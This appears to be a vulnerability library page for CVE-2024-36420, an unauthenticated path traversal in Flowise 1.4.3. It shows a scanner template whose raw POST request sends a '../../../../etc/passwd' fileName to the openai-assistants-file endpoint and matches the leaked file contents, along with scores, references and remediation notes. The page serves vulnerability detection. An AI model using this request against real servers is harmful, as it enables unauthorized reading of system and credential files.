/Vulnerability Library

Flowise 1.4.3 - Arbitrary File Read

CVE-2024-36420
Verified

Description

Flowise 1.4.3 contains a path traversal caused by lack of sanitization of 'fileName' parameter in /api/v1/openai-assistants-file endpoint in index.ts, letting attackers read arbitrary files, exploit requires attacker to send crafted request.

Severity

High

CVSS Score

7.5

Exploit Probability

58%

Affected Product

flowise

Published Date

May 19, 2026

Template Author

fineman999

CVE-2024-36420.yaml
id: CVE-2024-36420

info:
  name: Flowise 1.4.3 - Arbitrary File Read
  author: fineman999
  severity: high
  description: |
    Flowise 1.4.3 contains a path traversal caused by lack of sanitization of 'fileName' parameter in /api/v1/openai-assistants-file endpoint in index.ts, letting attackers read arbitrary files, exploit requires attacker to send crafted request.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    No known patches available; consider applying input validation and sanitization to 'fileName' parameter or upgrade when patches are released.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36420
    - https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/
    - https://github.com/FlowiseAI/Flowise/blob/e93ce07851cdc0fcde12374f301b8070f2043687/packages/server/src/index.ts#L982
  classification:
    cve-id: CVE-2024-36420
    epss-score: 0.58318
    epss-percentile: 0.9824
    cwe-id: CWE-22
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    vendor: flowiseai
    product: flowise
    max-request: 1
  tags: cve,cve2024,flowise,lfi,unauth,vuln

http:
  - raw:
      - |
        POST /api/v1/openai-assistants-file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileName":"../../../../etc/passwd"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "(?m)^root:[^:]*:0:0:"
          - "(?m)^daemon:[^:]*:[0-9]+:[0-9]+:"

      - type: word
        part: header
        words:
          - "attachment; filename=passwd"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022037b74f9027096d54f78077b9ebc1000a1326f4b244af0993c1eb034aaa529aef022100b1a0f3d5840c533cfc763e9cee0fa657e8b4dbad2a995d885ca92740c234764c:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2024-36420
CWE ID:
cwe-22

References

https://nvd.nist.gov/vuln/detail/CVE-2024-36420https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/https://github.com/FlowiseAI/Flowise/blob/e93ce07851cdc0fcde12374f301b8070f2043687/packages/server/src/index.ts#L982

Remediation Steps

No known patches available; consider applying input validation and sanitization to 'fileName' parameter or upgrade when patches are released.